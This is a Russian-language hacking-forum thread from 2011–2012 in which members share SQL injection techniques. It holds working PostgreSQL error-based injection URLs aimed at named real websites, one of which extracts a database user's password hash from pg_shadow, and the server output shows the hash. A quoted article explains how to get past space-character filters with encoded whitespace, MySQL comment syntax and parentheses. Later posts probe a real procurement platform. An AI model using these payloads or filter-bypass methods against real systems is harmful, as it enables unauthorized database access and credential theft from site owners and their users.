HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 14.03.2011, 15:37
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

Используй всякие дополнительные знаки, типа табебулятия, возврат-перевод каретки и т. д.
 
Ответить с цитированием

  #12  
Старый 14.03.2011, 17:06
am319
Guest
Сообщений: n/a
Провел на форуме:
2108

Репутация: 0
По умолчанию

krypt3r

Ну эт то я и сам увидел, но как только не извращался с этим синтаксисом, не могу заставить его работать с 'select'ом. фантазия уже заканчиваеца

XAMEHA

опаопа! а вот тут поподробней плиз))
 
Ответить с цитированием

  #13  
Старый 14.03.2011, 17:08
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

а может хватит гадать и ты просто ссылку выложишь?
 
Ответить с цитированием

  #14  
Старый 14.03.2011, 21:19
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

Подкину пару вариантов

Код:
Code:
http://site.ru/trade/future/?q=asd')OR(1=((select(version()))::int))
http://site.ru/trade/future/?q=asd')OR(1)=((select"passwd"from"pg_shadow"limit(1)offset(2))::int)
Ну и примеры. За основу взята одна из инъекций в соответствующей теме.

Запрос

Код:
Code:
http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select(version()))::int);--+
Ответ:

Код:
Code:
Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "PostgreSQL 8.3.11 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84
Запрос:

Код:
Code:
http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select"usename"||':'||"passwd"from"pg_shadow"limit(1)offset(0))::int);--+
Ответ:

Код:
Code:
Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "postgres:md5ec63fc1e79539051850385b5ec9411fe" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84
 
Ответить с цитированием

  #15  
Старый 15.03.2011, 03:34
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

Цитата:
Сообщение от krypt3r  
krypt3r said:
Подкину пару вариантов
Код:
Code:
http://site.ru/trade/future/?q=asd')OR(1=((select(version()))::int))
http://site.ru/trade/future/?q=asd')OR(1)=((select"passwd"from"pg_shadow"limit(1)offset(2))::int)
Ну и примеры. За основу взята одна из инъекций в соответствующей теме.
Запрос
Код:
Code:
http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select(version()))::int);--+
Ответ:
Код:
Code:
Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "PostgreSQL 8.3.11 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84
Запрос:
Код:
Code:
http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select"usename"||':'||"passwd"from"pg_shadow"limit(1)offset(0))::int);--+
Ответ:
Код:
Code:
Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "postgres:md5ec63fc1e79539051850385b5ec9411fe" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84
Для начала надо понять что тут используеться PostgreSQL.

Вот как можно избавиться от фильтрации пробелов:

Вот статья их хакера:

кажем, ты нашел инъекцию на крупном новостном портале, но никак не можешь ее раскрутить, так как все известные тебе варианты пробелов не работают. Давай рассмотрим такой код

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if(isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]){

if([/
COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]" "[/COLOR][COLOR="#007700"]) {die[/COLOR][COLOR="#DD0000"]"HACK ALERT"[/COLOR][COLOR="#007700"]};

if([/
COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"/**/"[/COLOR][COLOR="#007700"]) {die[/COLOR][COLOR="#DD0000"]"HACK ALERT"[/COLOR][COLOR="#007700"]};

if([/
COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"+"[/COLOR][COLOR="#007700"]) {die[/COLOR][COLOR="#DD0000"]"HACK ALERT"[/COLOR][COLOR="#007700"]};

if([/
COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"%20"[/COLOR][COLOR="#007700"]) {die[/COLOR][COLOR="#DD0000"]"HACK ALERT"[/COLOR][COLOR="#007700"]};

[/
COLOR][/COLOR
здесь какие-то запросы с использованием переменной $_GET['id']

Как мы видим, при использовании пробелов " ", /**/, + и %20 скрипт прекращает свою работу. На самом деле существует как минимум два способа обхода такого скрипта, первый – использование различных пробельных символов, второй – использование логики SQL запросов, в частности их реализации в MySQL.

1. Итак, первый способ. Помимо самого пробела существует множество различных пробельных символов, табуляция, возврат каретки и так далее. Вот их полный (а может и нет ) список:

%09 – horizontal tab, горизонтальная табуляция

%0A – NL line feed, символ новой строки

%0B – vertical tab, вертикальная табуляция

%0C – NP form feed, символ новой страницы

%0D – carriage return, возврат каретки

Все эти символы будут рассматриваться как пробельные. Пример запроса:

id=-1%0Aunion%0Aselect%0A1

C этим, я думаю, все понятно, перейдем ко второму варианту:

2. В MySQL есть возможность выполнять SQL-код в блоке комментариев, выглядит это примерно так:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]select id[/COLOR][COLOR="#FF8000"]/*!,title*/[/COLOR][COLOR="#0000BB"]from news[/COLOR][/COLOR
В данном случае из таблицы news будут выведены поля id и title. Теперь посмотрим, как это реализовать в боевых условиях:

Цитата:
Сообщение от None  
id=-1/*!union*/select/*!version()*/
Но бывает и такое, что фильтруются символы слэша. Тогда можно использовать способ, основанный на использовании скобок в запросе. Вот пример для обхода вышеизложенного скрипта:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]=(-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]union[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"]()))[/COLOR][/COLOR
Надеюсь ты меня понял
 
Ответить с цитированием

  #16  
Старый 14.01.2012, 17:11
kindunkind
Guest
Сообщений: n/a
Провел на форуме:
0

Репутация: 0
По умолчанию

Аналогичная проблема, не получается сформировать корректный запрос. А именно отловить закомментировать остаток запроса.

Пример:

http://www.roseltorg.ru/set/announce.php?id=10077'--

https://com.roseltorg.ru/file/get/t/Protocols/?id=1036%27%20order%20by%20100/*
 
Ответить с цитированием

  #17  
Старый 14.01.2012, 17:14
Ereee
Guest
Сообщений: n/a
Провел на форуме:
102354

Репутация: 267
По умолчанию

Цитата:
Сообщение от kindunkind  
kindunkind said:
Аналогичная проблема, не получается сформировать корректный запрос. А именно отловить закомментировать остаток запроса.
Пример:
http://www.roseltorg.ru/set/announce.php?id=10077'--
Там нет скульи. Ибо интвалится...
 
Ответить с цитированием

  #18  
Старый 14.01.2012, 17:19
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

Цитата:
Сообщение от Ereee  
Ereee said:
Там нет скульи. Ибо интвалится...
http://www.roseltorg.ru/set/announce.php?id=1test

invalid input syntax for integer: "1test"

переменная id без изменений попадает в запрос, никакого intval а там нету
 
Ответить с цитированием

  #19  
Старый 14.01.2012, 19:52
Boolean
Guest
Сообщений: n/a
Провел на форуме:
40748

Репутация: 78
По умолчанию

%0A, и все ок.

http://etp.roseltorg.ru/trade/future/?q=%27%29%0A--%0A1
 
Ответить с цитированием

  #20  
Старый 15.01.2012, 20:09
kindunkind
Guest
Сообщений: n/a
Провел на форуме:
0

Репутация: 0
По умолчанию

Цитата:
Сообщение от Boolean  
Boolean said:
%0A, и все ок.
http://etp.roseltorg.ru/trade/future/?q=%27%29%0A--%0A1
судя по всему это не инъекция
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ